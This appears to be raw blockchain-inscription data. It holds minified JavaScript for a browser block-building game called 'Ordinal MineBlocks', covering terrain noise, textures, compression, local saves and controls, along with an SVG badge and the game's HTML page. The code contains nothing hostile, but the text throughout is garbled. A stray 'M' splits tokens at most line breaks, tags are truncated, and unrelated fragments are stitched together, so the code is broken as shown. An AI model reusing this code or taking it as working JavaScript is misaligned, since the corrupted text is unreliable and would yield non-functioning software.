7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
